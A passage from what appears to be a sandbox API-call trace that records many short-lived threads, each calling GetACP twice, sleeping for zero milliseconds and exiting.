RtlExitUserThread (Status=0x0) Thread: id = 2752 os_tid = 0x10f4 [0272.169] GetACP () returned 0x4e4 [0272.169] GetACP () returned 0x4e4 [0272.169] Sleep (dwMilliseconds=0x0) [0272.275] RtlExitUserThread (Status=0x0) Thread: id = 2753 os_tid = 0x10f8 [0272.170] GetACP () returned 0x4e4 [0272.170] GetACP () returned 0x4e4 [0272.170] Sleep (dwMilliseconds=0x0) [0272.276] RtlExitUserThread (Status=0x0) Thread: id = 2754 os_tid = 0x10fc [0272.170] GetACP () returned 0x4e4 [0272.170] GetACP () returned 0x4e4 [0272.170] Sleep (dwMilliseconds=0x0) [0272.277] RtlExitUserThread (Status=0x0) Thread: id = 2755 os_tid = 0x1100 [0272.171] GetACP () returned 0x4e4 [0272.171] GetACP () returned 0x4e4 [0272.171] Sleep (dwMilliseconds=0x0) [0272.277] RtlExitUserThread (Status=0x0) Thread: id = 2756 os_tid = 0x1104 [0272.171] GetACP () returned 0x4e4 [0272.171] GetACP () returned 0x4e4 [0272.171] Sleep (dwMilliseconds=0x0) [0272.278] RtlExitUserThread (Status=0x0) Thread: id = 2757 os_tid = 0x1108 [0272.172] GetACP () returned 0x4e4 [0272.172] GetACP () returned 0x4e4 [0272.172] Sleep (dwMilliseconds=0x0) [0272.278] RtlExitUserThread (Status=0x0) Thread: id = 2758 os_tid = 0x110c [0272.172] GetACP () returned 0x4e4 [0272.172] GetACP () returned 0x4e4 [0272.172] Sleep (dwMilliseconds=0x0) [0272.279] RtlExitUserThread (Status=0x0) Thread: id = 2759 os_tid = 0x1110 [0272.173] GetACP () returned 0x4e4 [0272.173] GetACP () returned 0x4e4 [0272.173] Sleep (dwMilliseconds=0x0) [0272.279] RtlExitUserThread (Status=0x0) Thread: id = 2760 os_tid = 0x1164 [0272.173] GetACP () returned 0x4e4 [0272.173] GetACP () returned 0x4e4 [0272.173] Sleep (dwMilliseconds=0x0) [0272.280] RtlExitUserThread (Status=0x0) Thread: id = 2761 os_tid = 0x1168 [0272.174] GetACP () returned 0x4e4 [0272.174] GetACP () returned 0x4e4 [0272.174] Sleep (dwMilliseconds=0x0) [0272.281] RtlExitUserThread (Status=0x0) Thread: id = 2762 os_tid = 0x116c [0272.174] GetACP () returned 0x4e4 [0272.174] GetACP () returned 0x4e4 [0272.174] Sleep (dwMilliseconds=0x0) [0272.281] RtlExitUserThread (Status=0x0) Thread: id = 2763 os_tid = 0x1170 [0272.177] GetACP () returned 0x4e4 [0272.177] GetACP () returned 0x4e4 [0272.177] Sleep (dwMilliseconds=0x0) [0272.282] RtlExitUserThread (Status=0x0) Thread: id = 2764 os_tid = 0x1174 [0272.177] GetACP () returned 0x4e4 [0272.177] GetACP () returned 0x4e4 [0272.177] Sleep (dwMilliseconds=0x0) [0272.282] RtlExitUserThread (Status=0x0) Thread: id = 2765 os_tid = 0x1178 [0272.178] GetACP () returned 0x4e4 [0272.178] GetACP () returned 0x4e4 [0272.178] Sleep (dwMilliseconds=0x0) [0272.283] RtlExitUserThread (Status=0x0) Thread: id = 2766 os_tid = 0x117c [0272.178] GetACP () returned 0x4e4 [0272.178] GetACP () returned 0x4e4 [0272.178] Sleep (dwMilliseconds=0x0) [0272.283] RtlExitUserThread (Status=0x0) Thread: id = 2767 os_tid = 0x1180 [0272.288] GetACP () returned 0x4e4 [0272.288] GetACP () returned 0x4e4 [0272.288] Sleep (dwMilliseconds=0x0) [0272.468] RtlExitUserThread (Status=0x0) Thread: id = 2768 os_tid = 0x1184 [0272.289] GetACP () returned 0x4e4 [0272.289] GetACP () returned 0x4e4 [0272.289] Sleep (dwMilliseconds=0x0) [0272.469] RtlExitUserThread (Status=0x0) Thread: id = 2769 os_tid = 0x1188 [0272.290] GetACP () returned 0x4e4 [0272.290] GetACP () returned 0x4e4 [0272.290] Sleep (dwMilliseconds=0x0) [0272.470] RtlExitUserThread (Status=0x0) Thread: id = 2770 os_tid = 0x118c [0272.290] GetACP () returned 0x4e4 [0272.290] GetACP () returned 0x4e4 [0272.290] Sleep (dwMilliseconds=0x0) [0272.470] RtlExitUserThread (Status=0x0) Thread: id = 2771 os_tid = 0x1190 [0272.291] GetACP () returned 0x4e4 [0272.291] GetACP () returned 0x4e4 [0272.291] Sleep (dwMilliseconds=0x0) [0272.471] RtlExitUserThread (Status=0x0) Thread: id = 2772 os_tid = 0x1194 [0272.291] GetACP () returned 0x4e4 [0272.292] GetACP () returned 0x4e4 [0272.292] Sleep (dwMilliseconds=0x0) [0272.471] RtlExitUserThread (Status=0x0) Thread: id = 2773 os_tid = 0x1198 [0272.292] GetACP () returned 0x4e4 [0272.292] GetACP () returned 0x4e4 [0272.292] Sleep (dwMilliseconds=0x0) [0272.472] RtlExitUserThread (Status=0x0) Thread: id = 2774 os_tid = 0x119c [0272.293] GetACP () returned 0x4e4 [0272.293] GetACP () returned 0x4e4 [0272.293] Sleep (dwMilliseconds=0x0) [0272.472] RtlExitUserThread (Status=0x0) Thread: id = 2775 os_tid = 0x11a0 [0272.293] GetACP () returned 0x4e4 [0272.293] GetACP () returned 0x4e4 [0272.293] Sleep (dwMilliseconds=0x0) [0272.473] RtlExitUserThread (Status=0x0) Thread: id = 2776 os_tid = 0x11a4 [0272.294] GetACP () returned 0x4e4 [0272.294] GetACP () returned 0x4e4 [0272.294] Sleep (dwMilliseconds=0x0) [0272.473] RtlExitUserThread (Status=0x0) Thread: id = 2777 os_tid = 0x11a8 [0272.295] GetACP () returned 0x4e4 [0272.295] GetACP () returned 0x4e4 [0272.295] Sleep (dwMilliseconds=0x0) [0272.474] RtlExitUserThread (Status=0x0) Thread: id = 2778 os_tid = 0x11ac [0272.295] GetACP () returned 0x4e4 [0272.295] GetACP () returned 0x4e4 [0272.295] Sleep (dwMilliseconds=0x0) [0272.475] RtlExitUserThread (Status=0x0) Thread: id = 2779 os_tid = 0x11b0 [0272.296] GetACP () returned 0x4e4 [0272.296] GetACP () returned 0x4e4 [0272.296] Sleep (dwMilliseconds=0x0) [0272.475] RtlExitUserThread (Status=0x0) Thread: id = 2780 os_tid = 0x1204 [0272.297] GetACP () returned 0x4e4 [0272.297] GetACP () returned 0x4e4 [0272.297] Sleep (dwMilliseconds=0x0) [0272.476] RtlExitUserThread (Status=0x0) Thread: id = 2781 os_tid = 0x1208 [0272.297] GetACP () returned 0x4e4 [0272.297] GetACP () returned 0x4e4 [0272.297] Sleep (dwMilliseconds=0x0) [0272.476] RtlExitUserThread (Status=0x0) Thread: id = 2782 os_tid = 0x120c [0272.298] GetACP () returned 0x4e4 [0272.298] GetACP () returned 0x4e4 [0272.298] Sleep (dwMilliseconds=0x0) [0272.477] RtlExitUserThread (Status=0x0) Thread: id = 2783 os_tid = 0x1210 [0272.299] GetACP () returned 0x4e4 [0272.299] GetACP () returned 0x4e4 [0272.299] Sleep (dwMilliseconds=0x0) [0272.478] RtlExitUserThread (Status=0x0) Thread: id = 2784 os_tid = 0x1214 [0272.299] GetACP () returned 0x4e4 [0272.299] GetACP () returned 0x4e4 [0272.299] Sleep (dwMilliseconds=0x0) [0272.478] RtlExitUserThread (Status=0x0) Thread: id = 2785 os_tid = 0x1218 [0272.300] GetACP () returned 0x4e4 [0272.300] GetACP () returned 0x4e4 [0272.300] Sleep (dwMilliseconds=0x0) [0272.479] RtlExitUserThread (Status=0x0) Thread: id = 2786 os_tid = 0x121c [0272.300] GetACP () returned 0x4e4 [0272.300] GetACP () returned 0x4e4 [0272.300] Sleep (dwMilliseconds=0x0) [0272.479] RtlExitUserThread (Status=0x0) Thread: id = 2787 os_tid = 0x1220 [0272.521] GetACP () returned 0x4e4 [0272.521] GetACP () returned 0x4e4 [0272.521] Sleep (dwMilliseconds=0x0) [0272.714] RtlExitUserThread (Status=0x0) Thread: id = 2788 os_tid = 0x1224 [0272.521] GetACP () returned 0x4e4 [0272.521] GetACP () returned 0x4e4 [0272.521] Sleep (dwMilliseconds=0x0) [0272.715] RtlExitUserThread (Status=0x0) Thread: id = 2789 os_tid = 0x1228 [0272.522] GetACP () returned 0x4e4 [0272.522] GetACP () returned 0x4e4 [0272.522] Sleep (dwMilliseconds=0x0) [0272.715] RtlExitUserThread (Status=0x0) Thread: id = 2790 os_tid = 0x122c [0272.522] GetACP () returned 0x4e4 [0272.522] GetACP () returned 0x4e4 [0272.522] Sleep (dwMilliseconds=0x0) [0272.716] RtlExitUserThread (Status=0x0) Thread: id = 2791 os_tid = 0x1230 [0272.523] GetACP () returned 0x4e4 [0272.523] GetACP () returned 0x4e4 [0272.523] Sleep (dwMilliseconds=0x0) [0272.716] RtlExitUserThread (Status=0x0) Thread: id = 2792 os_tid = 0x1234 [0272.523] GetACP () returned 0x4e4 [0272.523] GetACP () returned 0x4e4 [0272.523] Sleep (dwMilliseconds=0x0) [0272.717] RtlExitUserThread (Status=0x0) Thread: id = 2793 os_tid = 0x1238 [0272.524] GetACP () returned 0x4e4 [0272.524] GetACP () returned 0x4e4 [0272.524] Sleep (dwMilliseconds=0x0) [0272.718] RtlExitUserThread (Status=0x0) Thread: id = 2794 os_tid = 0x123c [0272.524] GetACP () returned 0x4e4 [0272.524] GetACP () returned 0x4e4 [0272.524] Sleep (dwMilliseconds=0x0) [0272.718] RtlExitUserThread (Status=0x0) Thread: id = 2795 os_tid = 0x1240 [0272.525] GetACP () returned 0x4e4 [0272.525] GetACP () returned 0x4e4 [0272.525] Sleep (dwMilliseconds=0x0) [0272.720] RtlExitUserThread (Status=0x0) Thread: id = 2796 os_tid = 0x1244 [0272.525] GetACP () returned 0x4e4 [0272.525] GetACP () returned 0x4e4 [0272.525] Sleep (dwMilliseconds=0x0) [0272.720] RtlExitUserThread (Status=0x0) Thread: id = 2797 os_tid = 0x1248 [0272.525] GetACP () returned 0x4e4 [0272.525] GetACP () returned 0x4e4 [0272.525] Sleep (dwMilliseconds=0x0) [0272.721] RtlExitUserThread (Status=0x0) Thread: id = 2798 os_tid = 0x124c [0272.526] GetACP () returned 0x4e4 [0272.526] GetACP () returned 0x4e4 [0272.526] Sleep (dwMilliseconds=0x0) [0272.721] RtlExitUserThread (Status=0x0) Thread: id = 2799 os_tid = 0x1250 [0272.526] GetACP () returned 0x4e4 [0272.526] GetACP () returned 0x4e4 [0272.526] Sleep (dwMilliseconds=0x0) [0272.722] RtlExitUserThread (Status=0x0) Thread: id = 2800 os_tid = 0x12a4 [0272.527] GetACP () returned 0x4e4 [0272.527] GetACP () returned 0x4e4 [0272.527] Sleep (dwMilliseconds=0x0) [0272.722] RtlExitUserThread (Status=0x0) Thread: id = 2801 os_tid = 0x12a8 [0272.527] GetACP () returned 0x4e4 [0272.527] GetACP () returned 0x4e4 [0272.527] Sleep (dwMilliseconds=0x0) [0272.723] RtlExitUserThread (Status=0x0) Thread: id = 2802 os_tid = 0x12ac [0272.528] GetACP () returned 0x4e4 [0272.528] GetACP () returned 0x4e4 [0272.528] Sleep (dwMilliseconds=0x0) [0272.723] RtlExitUserThread (Status=0x0) Thread: id = 2803 os_tid = 0x12b0 [0272.528] GetACP () returned 0x4e4 [0272.528] GetACP () returned 0x4e4 [0272.528] Sleep (dwMilliseconds=0x0) [0272.724] RtlExitUserThread (Status=0x0) Thread: id = 2804 os_tid = 0x12b4 [0272.529] GetACP () returned 0x4e4 [0272.529] GetACP () returned 0x4e4 [0272.529] Sleep (dwMilliseconds=0x0) [0272.725] RtlExitUserThread (Status=0x0) Thread: id = 2805 os_tid = 0x12b8 [0272.529] GetACP () returned 0x4e4 [0272.529] GetACP () returned 0x4e4 [0272.529] Sleep (dwMilliseconds=0x0) [0272.725] RtlExitUserThread (Status=0x0) Thread: id = 2806 os_tid = 0x12bc [0272.530] GetACP () returned 0x4e4 [0272.530] GetACP () returned 0x4e4 [0272.530] Sleep (dwMilliseconds=0x0) [0272.726] RtlExitUserThread (Status=0x0) Thread: id = 2807 os_tid = 0x12c0 [0272.727] GetACP () returned 0x4e4 [0272.727] GetACP () returned 0x4e4 [0272.727] Sleep (dwMilliseconds=0x0) [0272.963] RtlExitUserThread (Status=0x0) Thread: id = 2808 os_tid = 0x12c4 [0272.728] GetACP () returned 0x4e4 [0272.728] GetACP () returned 0x4e4 [0272.728] Sleep (dwMilliseconds=0x0) [0272.964] RtlExitUserThread (Status=0x0) Thread: id = 2809 os_tid = 0x12c8 [0272.728] GetACP () returned 0x4e4 [0272.728] GetACP () returned 0x4e4 [0272.728] Sleep (dwMilliseconds=0x0) [0272.964] RtlExitUserThread (Status=0x0) Thread: id = 2810 os_tid = 0x12cc [0272.728] GetACP () returned 0x4e4 [0272.728] GetACP () returned 0x4e4 [0272.728] Sleep (dwMilliseconds=0x0) [0272.965] RtlExitUserThread (Status=0x0) Thread: id = 2811 os_tid = 0x12d0 [0272.729] GetACP () returned 0x4e4 [0272.729] GetACP () returned 0x4e4 [0272.729] Sleep (dwMilliseconds=0x0) [0272.965] RtlExitUserThread (Status=0x0) Thread: id = 2812 os_tid = 0x12d4 [0272.729] GetACP () returned 0x4e4 [0272.729] GetACP () returned 0x4e4 [0272.729] Sleep (dwMilliseconds=0x0) [0272.966] RtlExitUserThread (Status=0x0) Thread: id = 2813 os_tid = 0x12d8 [0272.730] GetACP () returned 0x4e4 [0272.730] GetACP () returned 0x4e4 [0272.730] Sleep (dwMilliseconds=0x0) [0272.967] RtlExitUserThread (Status=0x0) Thread: id = 2814 os_tid = 0x12dc [0272.730] GetACP () returned 0x4e4 [0272.730] GetACP () returned 0x4e4 [0272.730] Sleep (dwMilliseconds=0x0) [0272.967] RtlExitUserThread (Status=0x0) Thread: id = 2815 os_tid = 0x12e0 [0272.731] GetACP () returned 0x4e4 [0272.731] GetACP () returned 0x4e4 [0272.731] Sleep (dwMilliseconds=0x0) [0272.968] RtlExitUserThread (Status=0x0) Thread: id = 2816 os_tid = 0x12e4 [0272.731] GetACP () returned 0x4e4 [0272.731] GetACP () returned 0x4e4 [0272.731] Sleep (dwMilliseconds=0x0) [0272.969] RtlExitUserThread (Status=0x0) Thread: id = 2817 os_tid = 0x12e8 [0272.732] GetACP () returned 0x4e4 [0272.732] GetACP () returned 0x4e4 [0272.732] Sleep (dwMilliseconds=0x0) [0272.969] RtlExitUserThread (Status=0x0) Thread: id = 2818 os_tid = 0x12ec [0272.755] GetACP () returned 0x4e4 [0272.755] GetACP () returned 0x4e4 [0272.755] Sleep (dwMilliseconds=0x0) [0272.970] RtlExitUserThread (Status=0x0) Thread: id = 2819 os_tid = 0x12f0 [0272.756] GetACP () returned 0x4e4 [0272.756] GetACP () returned 0x4e4 [0272.756] Sleep (dwMilliseconds=0x0) [0272.970] RtlExitUserThread (Status=0x0) Thread: id = 2820 os_tid = 0x1344 [0272.757] GetACP () returned 0x4e4 [0272.757] GetACP () returned 0x4e4 [0272.757] Sleep (dwMilliseconds=0x0) [0272.971] RtlExitUserThread (Status=0x0) Thread: id = 2821 os_tid = 0x1348 [0272.757] GetACP () returned 0x4e4 [0272.757] GetACP () returned 0x4e4 [0272.757] Sleep (dwMilliseconds=0x0) [0272.972] RtlExitUserThread (Status=0x0) Thread: id = 2822 os_tid = 0x134c [0272.757] GetACP () returned 0x4e4 [0272.757] GetACP () returned 0x4e4 [0272.757] Sleep (dwMilliseconds=0x0) [0272.973] RtlExitUserThread (Status=0x0) Thread: id = 2823 os_tid = 0x1350 [0272.758] GetACP () returned 0x4e4 [0272.758] GetACP () returned 0x4e4 [0272.758] Sleep (dwMilliseconds=0x0) [0272.974] RtlExitUserThread (Status=0x0) Thread: id = 2824 os_tid = 0x1354 [0272.758] GetACP () returned 0x4e4 [0272.758] GetACP () returned 0x4e4 [0272.758] Sleep (dwMilliseconds=0x0) [0272.974] RtlExitUserThread (Status=0x0) Thread: id = 2825 os_tid = 0x1358 [0272.759] GetACP () returned 0x4e4 [0272.759] GetACP () returned 0x4e4 [0272.759] Sleep (dwMilliseconds=0x0) [0272.975] RtlExitUserThread (Status=0x0) Thread: id = 2826 os_tid = 0x135c [0272.760] GetACP () returned 0x4e4 [0272.760] GetACP () returned 0x4e4 [0272.760] Sleep (dwMilliseconds=0x0) [0272.975] RtlExitUserThread (Status=0x0) Thread: id = 2827 os_tid = 0x1360 [0272.977] GetACP () returned 0x4e4 [0272.977] GetACP () returned 0x4e4 [0272.977] Sleep (dwMilliseconds=0x0) [0273.075] RtlExitUserThread (Status=0x0) Thread: id = 2828 os_tid = 0x1364 [0272.978] GetACP () returned 0x4e4 [0272.978] GetACP () returned 0x4e4 [0272.978] Sleep (dwMilliseconds=0x0) [0273.082] RtlExitUserThread (Status=0x0) Thread: id = 2829 os_tid = 0x1368 [0272.978] GetACP () returned 0x4e4 [0272.978] GetACP () returned 0x4e4 [0272.978] Sleep (dwMilliseconds=0x0) [0273.084] RtlExitUserThread (Status=0x0) Thread: id = 2830 os_tid = 0x136c [0272.979] GetACP () returned 0x4e4 [0272.979] GetACP () returned 0x4e4 [0272.979] Sleep (dwMilliseconds=0x0) [0273.085] RtlExitUserThread (Status=0x0) Thread: id = 2831 os_tid = 0x1370 [0272.979] GetACP () returned 0x4e4 [0272.979] GetACP () returned 0x4e4 [0272.979] Sleep (dwMilliseconds=0x0) [0273.085] RtlExitUserThread (Status=0x0) Thread: id = 2832 os_tid = 0x1374 [0272.979] GetACP () returned 0x4e4 [0272.979] GetACP () returned 0x4e4 [0272.979] Sleep (dwMilliseconds=0x0) [0273.086] RtlExitUserThread (Status=0x0) Thread: id = 2833 os_tid = 0x1378 [0272.980] GetACP () returned 0x4e4 [0272.980] GetACP () returned 0x4e4 [0272.980] Sleep (dwMilliseconds=0x0) [0273.086] RtlExitUserThread (Status=0x0) Thread: id = 2834 os_tid = 0x137c [0272.980] GetACP () returned 0x4e4 [0272.981] GetACP () returned 0x4e4 [0272.981] Sleep (dwMilliseconds=0x0) [0273.087] RtlExitUserThread (Status=0x0) Thread: id = 2835 os_tid = 0x1380 [0272.981] GetACP () returned 0x4e4 [0272.981] GetACP () returned 0x4e4 [0272.981] Sleep (dwMilliseconds=0x0) [0273.087] RtlExitUserThread (Status=0x0) Thread: id = 2836 os_tid = 0x1384 [0272.981] GetACP () returned 0x4e4 [0272.982] GetACP () returned 0x4e4 [0272.982] Sleep (dwMilliseconds=0x0) [0273.088] RtlExitUserThread (Status=0x0) Thread: id = 2837 os_tid = 0x1388 [0272.982] GetACP () returned 0x4e4 [0272.982] GetACP () returned 0x4e4 [0272.982] Sleep (dwMilliseconds=0x0) [0273.089] RtlExitUserThread (Status=0x0) Thread: id = 2838 os_tid = 0x138c [0272.983] GetACP () returned 0x4e4 [0272.983] GetACP () returned 0x4e4 [0272.983] Sleep (dwMilliseconds=0x0) [0273.089] RtlExitUserThread (Status=0x0) Thread: id = 2839 os_tid = 0x1390 [0272.983] GetACP () returned 0x4e4 [0272.983] GetACP () returned 0x4e4 [0272.983] Sleep (dwMilliseconds=0x0) [0273.090] RtlExitUserThread (Status=0x0) Thread: id = 2840 os_tid = 0x13e4 [0272.984] GetACP () returned 0x4e4 [0272.984] GetACP () returned 0x4e4 [0272.984] Sleep (dwMilliseconds=0x0) [0273.090] RtlExitUserThread (Status=0x0) Thread: id = 2841 os_tid = 0x13e8 [0272.984] GetACP () returned 0x4e4 [0272.984] GetACP () returned 0x4e4 [0272.984] Sleep (dwMilliseconds=0x0) [0273.091] RtlExitUserThread (Status=0x0) Thread: id = 2842 os_tid = 0x13ec [0272.985] GetACP () returned 0x4e4 [0272.985] GetACP () returned 0x4e4 [0272.985] Sleep (dwMilliseconds=0x0) [0273.091] RtlExitUserThread (Status=0x0) Thread: id = 2843 os_tid = 0x13f0 [0272.985] GetACP () returned 0x4e4 [0272.985] GetACP () returned 0x4e4 [0272.985] Sleep (dwMilliseconds=0x0) [0273.092] RtlExitUserThread (Status=0x0) Thread: id = 2844 os_tid = 0x13f4 [0272.985] GetACP () returned 0x4e4 [0272.985] GetACP () returned 0x4e4 [0272.985] Sleep (dwMilliseconds=0x0) [0273.093] RtlExitUserThread (Status=0x0) Thread: id = 2845 os_tid = 0x13f8 [0272.986] GetACP () returned 0x4e4 [0272.986] GetACP () returned 0x4e4 [0272.986] Sleep (dwMilliseconds=0x0) [0273.093] RtlExitUserThread (Status=0x0) Thread: id = 2846 os_tid = 0x13fc [0272.986] GetACP () returned 0x4e4 [0272.986] GetACP () returned 0x4e4 [0272.986] Sleep (dwMilliseconds=0x0) [0273.094] RtlExitUserThread (Status=0x0) Thread: id = 2847 os_tid = 0xa50 [0273.095] GetACP () returned 0x4e4 [0273.095] GetACP () returned 0x4e4 [0273.095] Sleep (dwMilliseconds=0x0) [0273.159] RtlExitUserThread (Status=0x0) Thread: id = 2848 os_tid = 0xa48 [0273.095] GetACP () returned 0x4e4 [0273.095] GetACP () returned 0x4e4 [0273.095] Sleep (dwMilliseconds=0x0) [0273.159] RtlExitUserThread (Status=0x0) Thread: id = 2849 os_tid = 0xa4c [0273.096] GetACP () returned 0x4e4 [0273.096] GetACP () returned 0x4e4 [0273.096] Sleep (dwMilliseconds=0x0) [0273.160] RtlExitUserThread (Status=0x0) Thread: id = 2850 os_tid = 0xa5c [0273.096] GetACP () returned 0x4e4 [0273.096] GetACP () returned 0x4e4 [0273.096] Sleep (dwMilliseconds=0x0) [0273.160] RtlExitUserThread (Status=0x0) Thread: id = 2851 os_tid = 0xda4 [0273.096] GetACP () returned 0x4e4 [0273.097] GetACP () returned 0x4e4 [0273.097] Sleep (dwMilliseconds=0x0) [0273.161] RtlExitUserThread (Status=0x0) Thread: id = 2852 os_tid = 0xda0 [0273.097] GetACP () returned 0x4e4 [0273.097] GetACP () returned 0x4e4 [0273.097] Sleep (dwMilliseconds=0x0) [0273.163] RtlExitUserThread (Status=0x0) Thread: id = 2853 os_tid = 0x1404 [0273.098] GetACP () returned 0x4e4 [0273.098] GetACP () returned 0x4e4 [0273.098] Sleep (dwMilliseconds=0x0) [0273.164] RtlExitUserThread (Status=0x0) Thread: id = 2854 os_tid = 0x1408 [0273.099] GetACP () returned 0x4e4 [0273.099] GetACP () returned 0x4e4 [0273.099] Sleep (dwMilliseconds=0x0) [0273.165] RtlExitUserThread (Status=0x0) Thread: id = 2855 os_tid = 0x140c [0273.099] GetACP () returned 0x4e4 [0273.099] GetACP () returned 0x4e4 [0273.099] Sleep (dwMilliseconds=0x0) [0273.168] RtlExitUserThread (Status=0x0) Thread: id = 2856 os_tid = 0x1410 [0273.100] GetACP () returned 0x4e4 [0273.100] GetACP () returned 0x4e4 [0273.100] Sleep (dwMilliseconds=0x0) [0273.168] RtlExitUserThread (Status=0x0) Thread: id = 2857 os_tid = 0x1414 [0273.100] GetACP () returned 0x4e4 [0273.100] GetACP () returned 0x4e4 [0273.100] Sleep (dwMilliseconds=0x0) [0273.169] RtlExitUserThread (Status=0x0) Thread: id = 2858 os_tid = 0x1418 [0273.100] GetACP () returned 0x4e4 [0273.101] GetACP () returned 0x4e4 [0273.101] Sleep (dwMilliseconds=0x0) [0273.170] RtlExitUserThread (Status=0x0) Thread: id = 2859 os_tid = 0x141c [0273.101] GetACP () returned 0x4e4 [0273.101] GetACP () returned 0x4e4 [0273.101] Sleep (dwMilliseconds=0x0) [0273.171] RtlExitUserThread (Status=0x0) Thread: id = 2860 os_tid = 0x1470 [0273.101] GetACP () returned 0x4e4 [0273.101] GetACP () returned 0x4e4 [0273.101] Sleep (dwMilliseconds=0x0) [0273.172] RtlExitUserThread (Status=0x0) Thread: id = 2861 os_tid = 0x1474 [0273.102] GetACP () returned 0x4e4 [0273.102] GetACP () returned 0x4e4 [0273.102] Sleep (dwMilliseconds=0x0) [0273.172] RtlExitUserThread (Status=0x0) Thread: id = 2862 os_tid = 0x1478 [0273.102] GetACP () returned 0x4e4 [0273.102] GetACP () returned 0x4e4 [0273.102] Sleep (dwMilliseconds=0x0) [0273.173] RtlExitUserThread (Status=0x0) Thread: id = 2863 os_tid = 0x147c [0273.103] GetACP () returned 0x4e4 [0273.103] GetACP () returned 0x4e4 [0273.103] Sleep (dwMilliseconds=0x0) [0273.173] RtlExitUserThread (Status=0x0) Thread: id = 2864 os_tid = 0x1480 [0273.103] GetACP () returned 0x4e4 [0273.103] GetACP () returned 0x4e4 [0273.103] Sleep (dwMilliseconds=0x0) [0273.174] RtlExitUserThread (Status=0x0) Thread: id = 2865 os_tid = 0x1484 [0273.104] GetACP () returned 0x4e4 [0273.104] GetACP () returned 0x4e4 [0273.104] Sleep (dwMilliseconds=0x0) [0273.174] RtlExitUserThread (Status=0x0) Thread: id = 2866 os_tid = 0x1488 [0273.104] GetACP () returned 0x4e4 [0273.104] GetACP () returned 0x4e4 [0273.104] Sleep (dwMilliseconds=0x0) [0273.175] RtlExitUserThread (Status=0x0) Thread: id = 2867 os_tid = 0x148c [0273.176] GetACP () returned 0x4e4 [0273.176] GetACP () returned 0x4e4 [0273.176] Sleep (dwMilliseconds=0x0) [0273.242] RtlExitUserThread (Status=0x0) Thread: id = 2868 os_tid = 0x1490 [0273.176] GetACP () returned 0x4e4 [0273.176] GetACP () returned 0x4e4 [0273.176] Sleep (dwMilliseconds=0x0) [0273.243] RtlExitUserThread (Status=0x0) Thread: id = 2869 os_tid = 0x1494 [0273.177] GetACP () returned 0x4e4 [0273.177] GetACP () returned 0x4e4 [0273.177] Sleep (dwMilliseconds=0x0) [0273.243] RtlExitUserThread (Status=0x0) Thread: id = 2870 os_tid = 0x1498 [0273.177] GetACP () returned 0x4e4 [0273.177] GetACP () returned 0x4e4 [0273.177] Sleep (dwMilliseconds=0x0) [0273.244] RtlExitUserThread (Status=0x0) Thread: id = 2871 os_tid = 0x149c [0273.177] GetACP () returned 0x4e4 [0273.177] GetACP () returned 0x4e4 [0273.177] Sleep (dwMilliseconds=0x0) [0273.245] RtlExitUserThread (Status=0x0) Thread: id = 2872 os_tid = 0x14a0 [0273.178] GetACP () returned 0x4e4 [0273.178] GetACP () returned 0x4e4 [0273.178] Sleep (dwMilliseconds=0x0) [0273.245] RtlExitUserThread (Status=0x0) Thread: id = 2873 os_tid = 0x14a4 [0273.184] GetACP () returned 0x4e4 [0273.184] GetACP () returned 0x4e4 [0273.184] Sleep (dwMilliseconds=0x0) [0273.246] RtlExitUserThread (Status=0x0) Thread: id = 2874 os_tid = 0x14a8 [0273.185] GetACP () returned 0x4e4 [0273.185] GetACP () returned 0x4e4 [0273.185] Sleep (dwMilliseconds=0x0) [0273.246] RtlExitUserThread (Status=0x0) Thread: id = 2875 os_tid = 0x14ac [0273.185] GetACP () returned 0x4e4 [0273.185] GetACP () returned 0x4e4 [0273.185] Sleep (dwMilliseconds=0x0) [0273.247] RtlExitUserThread (Status=0x0) Thread: id = 2876 os_tid = 0x14b0 [0273.186] GetACP () returned 0x4e4 [0273.186] GetACP () returned 0x4e4 [0273.186] Sleep (dwMilliseconds=0x0) [0273.248] RtlExitUserThread (Status=0x0) Thread: id = 2877 os_tid = 0x14b4 [0273.186] GetACP () returned 0x4e4 [0273.186] GetACP () returned 0x4e4 [0273.186] Sleep (dwMilliseconds=0x0) [0273.248] RtlExitUserThread (Status=0x0) Thread: id = 2878 os_tid = 0x14b8 [0273.187] GetACP () returned 0x4e4 [0273.187] GetACP () returned 0x4e4 [0273.187] Sleep (dwMilliseconds=0x0) [0273.249] RtlExitUserThread (Status=0x0) Thread: id = 2879 os_tid = 0x14bc [0273.187] GetACP () returned 0x4e4 [0273.187] GetACP () returned 0x4e4 [0273.187] Sleep (dwMilliseconds=0x0) [0273.249] RtlExitUserThread (Status=0x0) Thread: id = 2880 os_tid = 0x1510 [0273.188] GetACP () returned 0x4e4 [0273.188] GetACP () returned 0x4e4 [0273.188] Sleep (dwMilliseconds=0x0) [0273.250] RtlExitUserThread (Status=0x0) Thread: id = 2881 os_tid = 0x1514 [0273.188] GetACP () returned 0x4e4 [0273.188] GetACP () returned 0x4e4 [0273.188] Sleep (dwMilliseconds=0x0) [0273.250] RtlExitUserThread (Status=0x0) Thread: id = 2882 os_tid = 0x1518 [0273.188] GetACP () returned 0x4e4 [0273.188] GetACP () returned 0x4e4 [0273.188] Sleep (dwMilliseconds=0x0) [0273.251] RtlExitUserThread (Status=0x0) Thread: id = 2883 os_tid = 0x151c [0273.189] GetACP () returned 0x4e4 [0273.189] GetACP () returned 0x4e4 [0273.189] Sleep (dwMilliseconds=0x0) [0273.251] RtlExitUserThread (Status=0x0) Thread: id = 2884 os_tid = 0x1520 [0273.189] GetACP () returned 0x4e4 [0273.189] GetACP () returned 0x4e4 [0273.189] Sleep (dwMilliseconds=0x0) [0273.252] RtlExitUserThread (Status=0x0) Thread: id = 2885 os_tid = 0x1524 [0273.190] GetACP () returned 0x4e4 [0273.190] GetACP () returned 0x4e4 [0273.190] Sleep (dwMilliseconds=0x0) [0273.252] RtlExitUserThread (Status=0x0) Thread: id = 2886 os_tid = 0x1528 [0273.190] GetACP () returned 0x4e4 [0273.190] GetACP () returned 0x4e4 [0273.190] Sleep (dwMilliseconds=0x0) [0273.253] RtlExitUserThread (Status=0x0) Thread: id = 2887 os_tid = 0x152c [0273.254] GetACP () returned 0x4e4 [0273.254] GetACP () returned 0x4e4 [0273.254] Sleep (dwMilliseconds=0x0) [0273.325] RtlExitUserThread (Status=0x0) Thread: id = 2888 os_tid = 0x1530 [0273.255] GetACP () returned 0x4e4 [0273.275] GetACP () returned 0x4e4 [0273.275] Sleep (dwMilliseconds=0x0) [0273.326] RtlExitUserThread (Status=0x0) Thread: id = 2889 os_tid = 0x1534 [0273.275] GetACP () returned 0x4e4 [0273.275] GetACP () returned 0x4e4 [0273.275] Sleep (dwMilliseconds=0x0) [0273.326] RtlExitUserThread (Status=0x0) Thread: id = 2890 os_tid = 0x1538 [0273.276] GetACP () returned 0x4e4 [0273.276] GetACP () returned 0x4e4 [0273.276] 